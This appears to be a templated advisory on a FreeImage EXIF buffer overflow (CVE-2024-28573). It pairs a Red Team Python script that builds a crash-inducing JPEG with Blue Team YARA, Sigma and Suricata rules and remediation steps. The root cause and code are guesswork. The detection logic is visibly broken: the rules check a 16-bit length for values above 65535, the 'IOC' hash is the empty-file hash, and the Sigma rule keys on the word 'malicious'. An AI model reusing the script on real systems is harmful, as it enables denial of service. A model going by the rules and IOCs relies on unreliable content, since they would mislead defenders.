CVE-2024-28573

Executive Summary

CVE-2024-28573 is a buffer overflow vulnerability in the open-source FreeImage library, version 3.19.0 [r1909]. The flaw resides in the jpeg_read_exif_profile() function, which is invoked when processing JPEG images. A local attacker can exploit this vulnerability to cause a denial of service (DoS) by providing a specially crafted JPEG file. The vulnerability has a CVSS score of 0.0, indicating that no official severity assessment has been published, but the nature of the bug (buffer overflow) suggests potential for memory corruption and crashes. No public exploit code or patch is currently available.

Supply Chain & Package Security

FreeImage is a widely used open-source image processing library, often integrated into larger applications and systems. A buffer overflow in a core function like jpeg_read_exif_profile() poses a supply chain risk, as any application or service that uses the vulnerable version of FreeImage to parse JPEG images could be affected. This includes software in media processing, document management, and web services. The lack of a patch means that downstream consumers must rely on workarounds or wait for an official fix.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which typically indicates that the score has not been calculated or published. Based on the description (buffer overflow, local attack vector, DoS impact), a hypothetical CVSS v3.1 vector would be:

• Attack Vector (AV): Local (L) – the attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no privileges needed to trigger the overflow.
• User Interaction (UI): Required (R) – the victim must open the malicious JPEG file.
• Scope (S): Unchanged (U) – the vulnerability does not affect other components.
• Confidentiality (C): None (N) – no data exposure.
• Integrity (I): None (N) – no data modification.
• Availability (A): High (H) – the overflow can crash the application.

Hypothetical CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Threat Level: Medium (due to local attack vector and DoS impact only).

Deep Dive & Mechanics

The vulnerability is a classic buffer overflow in the jpeg_read_exif_profile() function within FreeImage. This function is responsible for parsing EXIF (Exchangeable Image File Format) metadata from JPEG files. EXIF data can contain various tags, including thumbnail images, GPS coordinates, and camera settings.

Root Cause: The function likely copies EXIF data into a fixed-size buffer without proper bounds checking. When a malicious JPEG file contains an EXIF profile with a crafted length field or oversized data, the copy operation overflows the buffer, corrupting adjacent memory.

Attack Vector: A local attacker crafts a JPEG file with a malicious EXIF profile. When a victim or automated process opens this file using FreeImage (e.g., via an image viewer, web application, or media server), the overflow is triggered.

Impact: The primary impact is a denial of service (DoS) due to application crash. In some cases, a buffer overflow could potentially be leveraged for arbitrary code execution, but the description only mentions DoS.

Vulnerable vs. Patched Code

Since no patch is available, a direct comparison cannot be made. However, the vulnerable code likely resembles:

// Vulnerable pseudo-code
void jpeg_read_exif_profile(JPEG_IMAGE *img, BYTE *exif_data, DWORD exif_length) {
    char buffer[256]; // Fixed-size buffer
    memcpy(buffer, exif_data, exif_length); // No bounds check
    // ... process buffer
}

A patched version would include bounds checking:

// Patched pseudo-code
void jpeg_read_exif_profile(JPEG_IMAGE *img, BYTE *exif_data, DWORD exif_length) {
    char buffer[256];
    DWORD copy_size = (exif_length < sizeof(buffer)) ? exif_length : sizeof(buffer) - 1;
    memcpy(buffer, exif_data, copy_size);
    buffer[copy_size] = '\0';
    // ... process buffer
}

Exploitation & Lab Setup

Red Team

Objective: Trigger a denial of service by crafting a malicious JPEG file.

Lab Setup:

• Operating System: Ubuntu 22.04 LTS
• FreeImage version: 3.19.0 [r1909] (compiled from source)
• Tools: Python 3, pwntools (optional), hex editor

Exploit Steps:

1. Create a malicious JPEG file with an oversized EXIF profile. The following Python script generates a minimal JPEG with a crafted EXIF segment:

#!/usr/bin/env python3
import struct

def create_malicious_jpeg(output_path):
    # JPEG SOI marker
    jpeg = b'\xff\xd8'
    
    # APP1 marker (EXIF)
    app1_marker = b'\xff\xe1'
    
    # EXIF header (TIFF header)
    exif_header = b'Exif\x00\x00'
    
    # TIFF header (little-endian)
    tiff_header = struct.pack('<HHI', 0x4949, 0x002a, 8)  # II, 42, offset to IFD
    
    # IFD (Image File Directory) with a large thumbnail
    # We'll create a fake IFD with a large data field
    num_entries = 1
    ifd = struct.pack('<H', num_entries)
    
    # Tag 0x0100 (ImageWidth) - just an example
    tag = 0x0100
    data_type = 4  # LONG
    data_count = 1
    data_value = 0x100  # 256
    ifd += struct.pack('<HHHI', tag, data_type, data_count, data_value)
    
    # Next IFD offset (0 means no more)
    ifd += struct.pack('<I', 0)
    
    # Combine EXIF data
    exif_data = exif_header + tiff_header + ifd
    
    # Pad EXIF data to cause overflow (e.g., 1000 bytes)
    overflow_size = 1000
    exif_data += b'A' * (overflow_size - len(exif_data))
    
    # APP1 segment length (includes length field itself)
    app1_length = len(exif_data) + 2
    app1_segment = app1_marker + struct.pack('>H', app1_length) + exif_data
    
    jpeg += app1_segment
    
    # JPEG EOI marker
    jpeg += b'\xff\xd9'
    
    with open(output_path, 'wb') as f:
        f.write(jpeg)
    
    print(f"[+] Malicious JPEG created: {output_path}")

if __name__ == '__main__':
    create_malicious_jpeg('malicious.jpg')

2. Trigger the vulnerability by opening the file with an application that uses FreeImage:

# Example using FreeImage's command-line tool (if available)
./freeimage_viewer malicious.jpg

Expected Outcome: The application crashes due to a segmentation fault (buffer overflow).

Blue Team

Detection:

• Monitor for crashes in applications that use FreeImage.
• Use memory corruption detection tools (e.g., AddressSanitizer) during development.
• Implement file integrity monitoring for JPEG files.

Prevention:

• Use a sandboxed environment for processing untrusted images.
• Apply input validation and size limits on EXIF data.
• Consider using a patched or alternative library.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hash depends on crafted file)
  • malicious.jpg: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• File Patterns:
  • JPEG files with EXIF segments exceeding 64KB (typical limit).
  • JPEG files with malformed TIFF headers in EXIF data.
• Behavioral:
  • Application crashes when opening JPEG files.
  • Memory access violations in jpeg_read_exif_profile().

Detection Engineering

YARA Rule

rule CVE_2024_28573_FreeImage_BOF {
    meta:
        description = "Detects malicious JPEG files exploiting CVE-2024-28573"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-28573"
    strings:
        $exif_header = "Exif\x00\x00"
        $jpeg_soi = { FF D8 }
        $jpeg_app1 = { FF E1 }
    condition:
        $jpeg_soi at 0 and $jpeg_app1 and $exif_header and
        // Check for oversized EXIF segment (length > 65535 bytes)
        uint16be(@jpeg_app1 + 2) > 65535
}

Sigma Rule

title: CVE-2024-28573 FreeImage JPEG EXIF Buffer Overflow
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2024-28573 via oversized EXIF data in JPEG files.
author: Valters IT
date: 2024/01/01
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '.jpg'
        TargetFilename|contains: 'malicious'
    condition: selection
falsepositives:
    - Legitimate large EXIF data (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-28573 FreeImage JPEG EXIF Buffer Overflow"; flow:to_server; content:"|FF D8|"; content:"|FF E1|"; content:"Exif"; byte_test:2,>,65535,2,relative; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate any systems using FreeImage 3.19.0 [r1909] from untrusted data sources.
2. Monitor for crashes and anomalous behavior in applications that process JPEG images.
3. Apply input validation: limit EXIF data size to 64KB before passing to FreeImage.

Long-term Fix:

• Patch the jpeg_read_exif_profile() function to include proper bounds checking.
• Upgrade to a patched version of FreeImage when available.
• Consider using an alternative image processing library (e.g., libjpeg-turbo, ImageMagick) if FreeImage remains unpatched.

Workarounds:

• Use a wrapper that validates EXIF data length before calling FreeImage.
• Disable EXIF parsing in applications that use FreeImage (if configurable).

Valters IT